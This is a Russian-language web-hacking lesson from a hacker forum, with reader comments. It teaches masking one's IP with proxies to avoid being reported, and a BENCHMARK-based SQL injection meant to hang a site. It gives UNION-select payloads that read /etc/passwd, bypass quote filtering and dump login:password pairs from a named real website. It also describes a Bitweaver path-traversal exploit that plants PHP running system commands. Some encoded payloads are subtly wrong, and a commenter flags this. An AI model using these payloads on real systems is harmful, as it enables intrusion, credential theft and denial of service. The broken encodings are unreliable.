Основы хакерства. Урок 5 — HackZona.Ru

Основы хакерства. Урок 5

Основы хакерства. Урок 5

Тип статьи:
Со старой ХакЗоны.
Источник:
Вступление.
Привет. Вот и пришло время 5 урока «Основ хакерства».
В этой части я хотел бы уделить внимание нашей безопасности.
Наверное это нужно было разобрать немного раньше. Ведь данный аспект является очень важным.
Так же в этом уроке я начну повествовать об анализе php движков.
Еще мы разберем такую тему, как DoS/DDoS. Напоследок дебютирует новый топик «Прогулка по багтракам»

Cоntent:

Безопасность при взломе.
Установка движка и азы анализа
DoS и DDOS общие принципы.
Sql injection
Прогулка по багтракам.


Безопасность при взломе.
Это действительно важно.
Если администратор сайта обнаружит твой реальный ip адрес,
он без проблем сможет сообщить о проникновении твоему провайдеру.
А дальше как повезет.
Итак, сначала стоит разобрать, как сохраняются твои данные.
Логи ведет веб сервер. Он записывает фактически все телодвижение пользователей.
Вот например если в логах будет замечена такая строка:
<br />
<br />
65.234.112.11- - [13/Jan/2019:14:23:57 +0300] "GET /scripts/photo?id=1 " 404 - "-" "-"<br />
<br />

Сразу станет ясно что пользователь с адресом 65.234.112.11 пытался проверить параметр id на инъекцию.
Вообще нам важны логи ошибок (ErrorLog) и основные логи.
В ErrorLog хранятся данные ошибочных запросов. В httpd.conf(файл конфигурации веб сервера)
путь к ним можно найти по директиве ErrorLog.
В основном логе находятся все запросы к серверу. Его можно найти по директиве CustomLog.
Ну что ж более или менее понятно.
По сути наша задача это подменить айпи адрес. Ведь именно он нас палит.
Как факт изменить свой ip нельзя. Но! Его можно скрыть или ПОДменить.
Каким образом? С помощью прокси серверa.
<br />
Прокси-сервер (от англ. proxy  «представитель, уполномоченный»)  служба в компьютерных сетях,<br />
 позволяющая клиентам выполнять косвенные запросы к другим сетевым службам<br />

Проще говоря, мы сначала будем подключаться к прокси серверу и уже от туда делать запросы к жертве.
Естественно в логах целевого сайта будет светится айпи прокси сервера. Так то. Теперь по порядку:
Бывают паблик (публичные) прокси.
Бывают приватные прокси (только для избранных).
Как думаю ясно первые можно легко найти в сети. Со вторыми сложнее. Если хочешь приобрести такие нужно платить.
Собственно в чем разница то? Паблик прокси медленные, т.к. их юзает куча народу.
Приватные более быстрые. Вот собственно и все.
Вот несколько источников бесплатных прокси северов:
<br />
www.checker.freeproxy.ru/checker/last_checked_proxies.php<br />
www.madnet.name/tools/proxy/<br />
www.proxylife.org/proxy/<br />

Ах да забыли о главном как же их использовать?
Натягивать их нужно на свой браузер. Разберем на примере троих:

  • InternetExplorer

  • Opera

  • FireFox



  • InernetExplorer:
    Нажмите кнопку Сервис и выберите пункт Свойства обозревателя.
    На вкладке Подключения щелкните Настройка LAN.
    Установите флажок Использовать прокси-сервер для локальной сети.
    В поле Адрес введите адрес прокси-сервера.
    В поле Порт введите номер порта.


  • Opera:
    Выбираем: инструменты настройки
    Вкладка дополнительно
    Пункт сеть
    Кнопка прокси серверы
    Указываем на галочку HTTP и вводим прокси и порт.


  • FireFox
    Инструменты настройки
    Вкладка дополнительно
    Настроить
    Ручная нстройка сервера прокси



Ну, на этом пока все. В будущем расскажу про анонимайзеры и цепочки прокси.

Установка и анализ движка.
Незаменимым атрибутом веб хакера является умения анализировать и находить ошибки в php скриптах.
Учиться этому мы начнем уже с этого урока.
Итак, сначала нужно подготовить платформу для тестирования.
Кажется, в прошлой статье я упоминал, что мы будем работать с Денвером.
Денвер это набор дистрибутивов (Apache, PHP, MySQL, Perl и т.д.) и программная оболочка.
Все дело в том, что для его установки не нужно производить практически не каких телодвижений
(в отличии от отдельной установки php apche mysql), но зато теряется гибкость.
Итак, вам нужно скачать denwer и установить его.
Платформу можно считать готовой На примере <href=#> я покажу, как установить движок.

Итак, после скачивания нужно создать в папке home (Денвера) директорию bugsite11.us
Далее распаковать в эту папку скачанный пакет.
Теперь необходимо создать базу данных. Для этого нужно зайти в phpmyadmin.
Если Денвер запущен, пройдите по этому пути
<br />
http://localhost/Tools/phpmyadmin/index.php

Далее в поле «Создать новую базу данных» введите wordpress и нажмите создать. Все.
Теперь переходи по адресу bugsite11.us. Если все было сделано правильно вы увидите главную страницу инсталлятора wordpress.
Пройдите несколько шагов. Когда потребуется ввести данные в поле база данных нужно ввести wordpress в поле пользователь root, поле пароля оставляем пустым. Сервер localhost. Все. Теперь можете перейти по адресу bugsite11.us и вы увидите готовенький для
тестинга сайт на локалхосте.
Как видите установить двиг не сложно. Теперь по делу.
Сейчас я поведаю чисто поверхностную информацию об анализе скриптов.

  • Во-первых — прежде чем изучать код скрипта нужно проверить его в работе. Собственно для этого мы и ставили denwer.

  • Во вторых чуть ли не ключевым аспектом при поиске уязвимостей является понимание структуры CMS (или что там мы ставили).
    Разбираться лучше всего от начальной страницы (почти всегда index.php). В ней часто выполняются подключение, каких то модулей.
    И так по порядку нужно изучать работу скриптов. Кстати, в изучении вам может помочь документация к скрипту.
    Если таковая отсутствует можно поискать в Интернете какую либо информацию.

  • В-третьих очень часто придется производить поиск по исходному коду. Так что желательно обзавестись
    нормальным текстовым редактором. Я предлагаю Notepad++.

  • Ну и в четвертых нужно обязательно заглядывать на сайт разработчика. Там можно найти доки, информацию
    об уязвимостях в предыдущих версиях и вообще много полезной информации.


На этом я закончу. Хочу что бы вы потренировались в установке движков на localhost. В следующем уроке мы
потихоньку начнем разбирать основные ошибки php программистов.

DoS и DDOS общие принципы.
Бывает, что нужный нам сайт недоступен. Браузер говорит нам, что сервер не отвечает.
Это может происходить вследствие DDOS атаки на сервер.
Немного понятий:

  • DoS — Denial of Service отказ от обслуживания. На самом деле это не атака, а результат атаки.
    По сути DoS происходит из-за ошибок в программном коде либо недостаточной проверки входных данных.
    Например, на сервере висит FTP демон. Входные данные от пользователя (например логин) не проверяются
    на правильность. Т.е. пользователь может ввести любое кол во символов. Довольно типичная ошибка.

    Вот например еще уязвимость в SolarWinds TFTP Server 9.2.0.111
    www.securitylab.ru/vulnerability/384458.php
    Ошибка может возникнуть при обработке при обработке TFTP пакетов.

    Кстати есть довольно известный способ как можно «подвесить» сайт с помощью sql injection:
    <br />
    http://www.example.com/index.php?id=1+BENCHMARK(100000, BENCHMARK(10000, NOW()))


    Функция BENCHMARK повторяет действия указанное во втором аргументе количество раз указанное в аргументе параметре.
    Функция NOW() показывает текущее время. Т.е. можно прикинуть, как мы загрузим сервер.
    Вместо now можно подставить функцию вроде md5().

  • DDoS очень часто путают с DoS. Тут расклад немного другой. Смысл этой атаки именно
    в «затапливании» сервера огромным количеством запросом, до тех пор, пока сервер не исчерпает свои ресурсы закончиться память
    Как ясно с одного компьютера такое не сделаешь. Именно поэтому хакеры составляют ботнет с которого они могут топить сервер запросами.
    Ботнет это энное количество компютеров с установленной троянской программой, через которую взломщик может контролировать каждый компьютер.
    Ну вот. Если тебя заинтересовала эта тема, могу подкинуть несколько статеек:
    www.internet-technologies.ru/articles/article_436.html
    www.cyberguru.ru/networks/network-security/botnet-page7.html
    www.fssr.ru/hz.php?name=News&file;=article&sid;=9384


SQL injection

  • Обход magis_quert

  • concat_ws и удобный вывод.


На прошлом уроке мы говорили о такой вещи как магические кавычки. Я в общем рассказал что это.
Сейчас мы разберем как можно обойти эти самые кавычки.

Во-первых, можно использовать функцию char. Эта функция преобразовывает ASCII (аск) код в символы.
ASCII код это код символа. У каждого символа есть свой код. Например, у символа одинарной кавычки код 27.
Таблицу кодов можно найти здесь
Итак, функция char преобразовывает эти коды в символы, т.е. например:
Char(27,27)

Вернет нам две одинарные кавычки.
Кстати зная коды символов можно сделать так:

Зажать клавишу alt и набрать 0 и код символа.
Например, alt+077 выведет нам букву M.
Так же можно выводить некоторые специфические знаки вроде знака копирайта alt+0169)

Вернемся к нашим скулям:
<br />
www.site.us/index.php?id=+union+select+1,LOAD_FILE(/etc/passwd),4,5,6,7,8,9,10/*


Если ты забыл, то мы пытаемся загрузить файл /etc/passwd (файл со списком аккаунтов)
Часто кавычки режутся. А что если сделать так:
<br />
www.site.us/index.php?id=+union+select+1,LOAD_FILE(char(27,47,101,116,99,47,112,97,115,119,100)),</br>4,5,6,7,8,9,10/*<br />

Кавычки закодированы, значит все ок.
Еще можно обойти фильтрация путем замены исходной строки аналогичной ей, только в хекс(hex) варианте (в шестнадцатеричном варианте).
Причем перед строкой нужно подставить знак 0x. Смотрим на примере:
Берем исходную строку '/etc/passwd'. Опять же идем на сайт www.x3k.ru выбираем раздел SQL Hex и вписываем строку
На выходе
0x5c272f6574632f7061737377645c27

В нашем примере это будет так:
<br />
www.site.us/index.php?id=+union+select+1,LOAD_FILE(0x5c272f6574632f7061737377645c27),4,5,6,7,8,9,10/*<br />

concat_ws.
Для лучшего понимания возьмем реальный пример:
<br />
http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,</br>32,33,34,35,36+from+auth--+

Видим, что только одно читабельное поле 2. Скажу наперед, что поле логина login, а пароля pwd.
Итак, наша задача скомбинировать эти два поля и вывести в удобном виде. Делается это с помощью функции concat_ws:
<br />
concat_ws(0x3a,login,pwd)<br />

Первый аргумент это разделитель между полями. 0x3a записан в sql hex, в ASCII это будет: (знак двоеточия), т.е. вывод произойдет такой:
<br />
Login:pwd<br />

Вот еще пример:
<br />
concat_ws(0x2d,login,pwd)

0x2d означает тире (-)
<br />
Login-pwd

А вот как это будет выглядеть в нашем случае:
<br />
http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,concat_ws(0x3a,login,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,</br>22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+auth--+

По сути, польза не большая, но так удобней и изящней. Мы ж эстеты =)
Так с этим ясно. Что дальше? В следующем уроке я расскажу о записи файлов с помощью инжектов.
И наверное, на этом покончу повествования об основах. Т.к. далее продолжать бессмысленно. В Интернете очень много статей об этом,
а азы вы уже знаете. В уроках я буду рассказывать о каких то нестандартных ситуациях, более подробно о языке mysql и тому подобные вещи.
А сейчас продолжаем...

Прогулка по багтракам.
Еще немного об этом топике:
Суть в том, что я буду выкладывать некоторые интересные уязвимости с багтраков.
Так сказать примеры нахождения уязвимостей. Что это даст? Самое главное это понимание сути проблемы. Начнемсс...

Уязвимость CMS Bitweaver 2.6
www.securitylab.ru/vulnerability/380079.php
Итак, уязвимость найдена в CMS Bitweaver 2.6.
Бага позволяет нам создавать произвольные файлы в системе.
посмотрев сплоит, понимаем что:
Уязвимость присутствует в сценарии boards_rss.php — строка 102:
<br />
  ...<br />
    echo $rss->saveFeed( $rss_version_name, $cacheFile );<br />
  <br />

В этом куске функция saveFeed вызывается небезопасно.
Аргументы не проверяются и могут содержать символы обхода каталога ../(см урок 3)
Данные получаются так:
<br />
Переменная=$_REQUEST['version']<br />


Теперь посмотрим собственно на саму функцию saveFeed в /RSS/ feedcreator.class.php
<br />
...<br />
    function saveFeed($filename="", $displayContents=true) {<br />
    if ($filename=="") {<br />
    $filename = $this->_generateFilename();<br />
    }<br />
    if ( !is_dir( dirname( $filename ))) {<br />
    mkdir( dirname( $filename ));// создаем каталог<br />
    }<br />
    $feedFile = fopen($filename, "w+"); // открываем файл для записи (w+)<br />
    if ($feedFile) {<br />
    fputs($feedFile,$this->createFeed()); пишем в файл информацию<br />
    fclose($feedFile);// закрываем файл<br />
    if ($displayContents) {<br />
    $this->_redirect($filename);<br />
    }<br />
    } else {<br />
    echo "<br /><b>Error creating feed file, please check write permissions.</b><br />";<br />
    }<br />
    }<br />
    <br />
    }<br />
    ...

Тут попросту происходит сохранение файла.
Постараюсь объяснить функции, приведенные в этом коде:
dirname возвращает каталог из указанного пути. Например, есть путь /home/hockfuke/text.c
Функция вернет /home/hockfuke/
is_dir проверяет является ли файл каталогом.
Mkdir создает каталог
Fopen открывает файл
Fputs пишет в файл.

Теперь собственно сам пример использования:
<br />
http://sitename/path/boards/boards_rss.php?version=/../../../../bookoo.php%00<br />

С NULL байтом вы уже знакомы, он обрубает остальную часть запроса.
Параметр version мы как раз получали с помощью $_REQUEST.
Собственно ясно, что будет создать файл heck.php. Функция сохранения файлa была приведена выше.
Как помним наш подопытный это rss скрипт. Созданный файл будет таким:
<br />
    [?xml version="1.0" encoding="UTF-8"?]<br />
    [!-- generator="FeedCreator 1.7.2" --]<br />
    [?xml-stylesheet href="http://www.w3.org/2000/08/w3c-synd/style.css" type="text/css"?]<br />
    [rss version="0.91"]<br />
    [channel]<br />
    [title> Feed[/title]<br />
    [description][/description]<br />
    [link]http://192.168.0.1[/link]<br />
    [lastBuildDate]Sat, 09 Sep 2009 20:01:44 +0100[/lastBuildDate]<br />
    [generator]FeedCreator 1.7.2[/generator]<br />
    [language]en-us[/language]<br />
    [/channel]<br />
    [/rss]<br />
	[/code]<br />
	<br />
Собственно нам то нужно выполнить код. Вот что заметили багоискатели:<br />
Для выполнения кода можно создать учетную запись на сайте и в Display Name (ну имя) вписать код:<br />
<Code><br />
[?php system("ls al");?]<br />

system выполняет команду в системе.
Теперь делаем так:

host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo_ii.php%00&U;=юзернэйм&P;=пароль

На сервере появится тот же файл но уже вместо
[title] Feed [/ TITLE]
будет [title] Feed ([?php system(«ls al»);?>[/TITLE].

Подведем маленький итог. Ошибка заключался опять же в отсутствии фильтрации.
Из-за чего можно у нас появилась возможность создать собственный файл и выполнить в нем код. Т.к. displayname тоже не проверялось.

Конец.
Ну вот подошел к концу 5 урок.
Сегодня я приводил много исходных кодов. Хочу, что бы вы поняли, что это основа.
И уметь программировать просто необходимо.
Что дальше? Думаю, на следующем уроке мы продолжим знакомиться с анализом движков.
Так же я расскажу еще кое-что о твоей безопасности. На этом все.
Все уголковые скобки заменены на [ and ]

Ссылки:
www.denwer.ru сайт Денвера
Неплохая статейка про sql injection
<a href=Новая веха в теории инклуда>http://www.xakep.ru/post/49508/default.asp
<a href=Нестандартные лазейки SQL>/hz.php?name=News&file;
Нравится
Не нравится

49 комментариев

18:03
:)
19:32
Сколько частей планируется?)
Молодец!)
20:45
>Сколько частей планируется?)
ну... как пойдет
22:09
о_О хорошо так)))))
22:21
Хорошо пишешь, начистоту, без преукрашиваний и воды. 5
05:10
скачал денвер, установил, создал директорию bugsite11.us в папке home и... ни хрена не понял, какой пакет в эту директорию распаковать... скачанный пакет денвера? так я ж его уже установил (распаковал)... он сам автоматически распаковывается, когда его первый раз устанавливаешь... два раза что ли устанавливать этот денвер - самого в себя или как?ни врубаюсь ни фига...
06:21
када чарим кавычка то зачем? :)
2rarattaboy, расспаковывай туды вордпресс) или че там вы ставили) чувствую сенсей ты попал походу, таких вопросов будет минимум тысчячу)))
11:49
так и сделал (в папке home теперь имеется папка bugsite11.us в которой есть папка wordpress, а в ней уже сами папки вордпресса), базу создал, теперь выдаётся сообщение Internet Explorer не может отобразить эту веб-страницу...
11:56
давайте все вопросы в личку
11:57
Блин ну там же есть ридми епт :) не надо папку с вордпрессом закидывать в bugsite11.us :) двига под рукой нет, давно не возился с вордпрессом, но готов поспорить, что там есть папка аплоад, содержимое которой и надо прогружать...
11:59
Сенсей сделай себе харакири, ученики невдупляют )))
12:09
распаковывать нужно содержимое папки wordpress (в нашем случае). и не забываем ребутить денвер
02:32
сэнсей, ты конечно классный пацан, и дело твоё свято, но я, как и куча ламеров, читающих этот текст, явно не телепаты между строк читать... ты б так и сказал - читайте мануалы вордпресса перед установкой )) если всё сделать так как ты описал - ни хрена не врубается... вот я сижу и думаю - то ли я дибил, то ли сэнсей с фрайзером... реально не вдупляю в ситуёвину... пришлось лопатить мануал вордпресса и денвера... значит, всем тем у кого не запускался bugsite11.us посвящается:
1) в папке bugsite11.us создаём директорию www
2) и уже в неё распаковываем wordpress так как если просто в bugsite11.us распаковать - ни хера не будет
3) правим в блокноте файл wp-config-sample.php из распакованного вордпресса, в котором прописываем ручками название созданной базы wordpress
4) сохраняем файл как wp-config.php в той же папке, только особо одарённые ученики пусть расширение txt удалят, а то блокнот сохраняет по умолчанию как wp-config.php.txt
5) перезапускаем денвер
6) и вот только сейчас, если набить в браузере bugsite11.us то появится страница с ИНСТАЛЛЯТОРОМ вордпресса, но ещё не тестовым сайтом
7) проходим исталляцию и получаем, наконец-то, вымученный тестовый сайт
скажите, как вот до этого можно додуплить, если сделать, как сэнсей сказал?...
02:35
тем не менее, к сэнсею никаких претензий (понятно, что гуру не до таких ламерских мелочей)- снимаю шляпу перед его благородным делом ))
03:22
>вот я сижу и думаю - то ли я дибил, то ли сэнсей с фрайзером... реально не вдупляю в ситуёвину...
Ну походу это мы виноваты в том, что ты невдупляешь :)
04:34
ну ты приколол..) вот я тебе, например, даю разобранный автомат иностранного производства и говорю как его собрать... первую запчасть во вторую вставляешь, вторую в третью и т.д... только на определённом этапе у тебя ни хера не получается, хотя я тебе всё объяснил как делать - у тебя всё равно не получается - кто виноват, что ты не вдупляешь - ты или я? я конечно, потому что не подсказал, что во время вставки одной из запчастей в другую, надо пальцем придержать составляющую одной из запчастей - иначе не вставишь.. вот ты и мудохаешься и ничего у тебя не получается и ты думаешь кто дибил - я или ты? )) также и здесь - учитель виноват, что ученик невдуплил...
08:06
Он виноват лишь в том, что забыл посоветовать тебе проинклудить mozg.php...
08:22
ох парни....
во-первых не стоит думать что я какой то там супер гуру.
во-вторых извиняюсь если что то описал непонятно.
но в конце концов я тоже не робот. и так стараюсь разжевывать все по кусочкам
11:39
Сейчас мне окончательно вынесли мозг... ) ну пончалу как и у всех ничего не стало получаться, и непонял вообще че к чему... = Потом увидил комент:

1) в папке bugsite11.us создаём директорию www
2) и уже в неё распаковываем wordpress так как если просто в bugsite11.us распаковать - ни хера не будет
3) правим в блокноте файл wp-config-sample.php из распакованного вордпресса, в котором прописываем ручками название созданной базы wordpress
4) сохраняем файл как wp-config.php в той же папке, только особо одарённые ученики пусть расширение txt удалят, а то блокнот сохраняет по умолчанию как wp-config.php.txt
5) перезапускаем денвер
6) и вот только сейчас, если набить в браузере bugsite11.us то появится страница с ИНСТАЛЛЯТОРОМ вордпресса, но ещё не тестовым сайтом
7) проходим исталляцию и получаем, наконец-то, вымученный тестовый сайт
скажите, как вот до этого можно додуплить, если сделать, как сэнсей сказал?...

И подумал - АЛИЛУЯ... но после того как сказали создать www опять ниче не понял :DD
2) и уже в неё распаковываем wordpress
6) и вот только сейчас, если набить в браузере bugsite11.us то появится страница с ИНСТАЛЛЯТОРОМ вордпресса

Объясните нубу как можна распаковать эту фиговину на 2 шаге а взять инстолятор на ШЕСТОМ шаге? :DDD блин логику сломали ) Понимаю что я туплю но можна ли ваще на пальчиках объяснить че делать после создании директории www... please!
11:42
А автору большое прибольшое спасибо! Реально, многое объяснил и помог понять, хоть я ещё и начинающий но уже немалого добился благодаря его статьям) респект :)
12:23
если уж сенсей взялся за дело,то пусть качественно инклудит мозг.пхп всем присутствующим... как видно я не один такой...
2синакс
а как ты обычно скачиваешь архивированные проги и инстоллишь их? также - распаковываешь в папку, потом запускаешь экзешник инсталляционный... в нашем случае,
когда ты создаёшь папку bugsite11.us, то она пустышка... в ней надо создать папку www и уже в папку www распаковать вордпресс, так как если просто в bugsite11.us распаковать - ни фига не будет... инсталлятор зашит в распакованном пакете вордпресса... т.е. распаковав пакет, мы его ещё не установили - экзешного инсталлятора тут нету, поэтому он устанавливается не так как все проги... делаешь все процедуры, которые я описал, и доберёшься до инсталлятора, который выцепляет из папки вордпресса сам браузер... в браузере будет кнопка - установить вордпресс...
12:27
сенсей, для меня ты супер гуру, потому как я дуб в этих делах... желаю тебе сил и энергии в продолжении начатого дела!!! ))
13:05
спасиб спасиб)
мне приятно конечно =)
повторюсь - давайте все вопросы в личку, а то тут ужес что будет
13:30
Понял что ступил, продолжаю делать дальше по инструкции :))) спс
13:54
3) правим в блокноте файл wp-config-sample.php из распакованного вордпресса, в котором прописываем ручками название созданной базы wordpress

Опять чет остановился на одном шаге ) Вот открыл я этот файл, а где имено там прописывать вордпресс? Я его в блокноте открыл...
13:58
3) правим в блокноте файл wp-config-sample.php из распакованного вордпресса, в котором прописываем ручками название созданной базы wordpress

Опять чет остановился на одном шаге ) Вот открыл я этот файл, а где имено там прописывать вордпресс? Я его в блокноте открыл...
15:03
Да прибудет с тобой терпение сенсей :) ос xDD
15:13
сенсей в личку сказал писать... сейчас отвечу тут, а потом пытай сенсея в личке или меня, но меня только по установке вордпресса, ибо я пока только в этом деле спец)) в файле, есть слово в кавычках, вроде такого 'putyourdatabasenamehere' я точно не помню... вместо него забей 'wordpress', пароль (ниже по тексту) вообще удали, т.е. будет две кавычки и ничего между ними типа так: ''
18:20
гг пока сенсей пошёл в промышленый магазин за верёвкой и мылом можно пооффтопить :)
20:23
жжете господа. Теперь сенсея будут атаковать вопросами "Как поменять что-нибудь из блокнота".
20:54
putyourdbnamehere нашел xDDD кхм кхм sorry за нубство :))))
21:46
www.site.us/index.php?id=+union+select+1,LOAD_FILE(/etc/passwd),4,5,6,7,8,9,10/*

Если ты забыл, то мы пытаемся загрузить файл /etc/passwd (файл со списком аккаунтов)
Часто кавычки режутся. А что если сделать так:

www.site.us/index.php?id=+union+select+1,LOAD_FILE(char(27,47,101,116,99,47,112,97,115,119,100)),
4,5,6,7,8,9,10/*

----------------------------------------------------------------------

я не понимаю, почему для кaвычки значение "27" взято из колонки HEX в таблице ASCII, а значение для косой черты "/" и букв - из колонки DEC ?
далее, почему здесь (char(27,47,101,116,99,47,112,97,115,119,100)) не указана вторая одинарная кавычка (после слова passwd) и указана только одна буква "s" в слове passwd?
21:48
http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,
32,33,34,35,36+from+auth--+
Видим, что только одно читабельное поле 2. Скажу наперед, что поле логина login, а пароля pwd.

Вопрос:где мы видим это читабельное поле и где написано, что оно 2, а не 3,4,5...?
21:50
Итак, наша задача скомбинировать эти два поля и вывести в удобном виде. Делается это с помощью функции concat_ws:

concat_ws(0x3a,login,pwd)

Вопрос: где конкретно наглядно можно увидеть "неудобный и удобный вид" этих полей?
21:50

http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,concat_ws(0x3a,login,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+auth--+

Вопрос: в чём ВИЗУАЛЬНАЯ разница результата этих ссылок? Перейдя по обеим - в браузере одна и та же страница и никакие поля там не меняются и не разделяются двоеточием.
21:52
http://sitename/path/boards/boards_rss.php?version=/../../../../bookoo.php%00

С NULL байтом вы уже знакомы, он обрубает остальную часть запроса.
Параметр version мы как раз получали с помощью $_REQUEST.
Собственно ясно, что будет создать файл heck.php.

Вопрос: нет, не ясно. Как понять, что будет создан именно файл heck.php ?
21:53
Для выполнения кода можно создать учетную запись на сайте и в Display Name (ну имя) вписать код:

[?php system("ls al");?]

system выполняет команду в системе.
Теперь делаем так:

http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo_ii.php%00&U=юзернэйм&P=пароль

На сервере появится тот же файл но уже вместо [title] Feed [/ TITLE] будет [title] Feed ([?php system("ls al");?>[/TITLE].


Вопрос: почему после слова Feed в последней строке стоит круглая скобка? Ведь если она есть, то в конце должна быть замыкающая круглая, а там её нет... И если стоит квадратная, то где замыкающая для квадратной?
04:21
Омайгадэбл))) rarattaboy, попробуй почитать еще что-нибудь, прежде чем задавать столько вопросов))) Сенсей, убери неточности в статье, замечание здравое сделали...rarattaboy, с вопросами можешь ко мне в асю стукнуть OTQ0MjY3, ЕСЛИ будет время, отвечу...
18:40
Спасибо, fraIzer, за содействие ))) по мере возникновения вопросов - обязательно спрошу... мне бы пока с этими разобраться... ведь если учиться, то реально учиться надо и быть дотошным до всех мелочей иначе ни хрена не научишься...
05:06
rarattaboy +1 ))
21:11
отличный гайд(или как это можно назвать)) fraIzer продолжай в том же духе))
00:39
спасибо автору! только у меня по мере изучения возникла проблема. На теории вроде все понятно, а вот на практике совсем ничего не получается, и я не могу понять почему?! я пыталась ломать точно так же как написано в статье, но ничего не работало. В чем проблема?
02:44
Бля когда уберут етих дебилов со спамом
заебалт уже
21:09
падскажите где можна найти pass.ese
очень нужно
10:55
спасибо
06:26
Прочитал все 5 статей и уяснил из них процетов 5.Вобьщем не плохо написано, спасибо!У меня возникло пару проблем:
Я изменил свой IP и ваще не смог выйти в нэт.Так что пользуюсь прогой "Hide IP NG".
У меня куча вопросов, как сформулирую скажу!
23:24
помогите пожалуста!!
Далее распаковать в эту папку скачанный пакет-што именно надо в ту папку распокавать???
03:47
ее тупанул извените Прочитал все 5 статей и уяснил из них процетов 5.Вобьщем не плохо написано, спасибо!У меня возникло пару проблем:
Я изменил свой IP и ваще не смог выйти в нэт.Так что пользуюсь прогой "Hide IP NG".
У меня куча вопросов, как сформулирую скажу!
- - - установи лутше Proxy Swither (предварительно почитав мануал как им пользоватся) поставь лису и зделай что тут на писано и все запашет
16:10
Как выйти с IP адреса другого я уже разобрался и это здорова спасибо за информацию и хорошую подачу информации! :)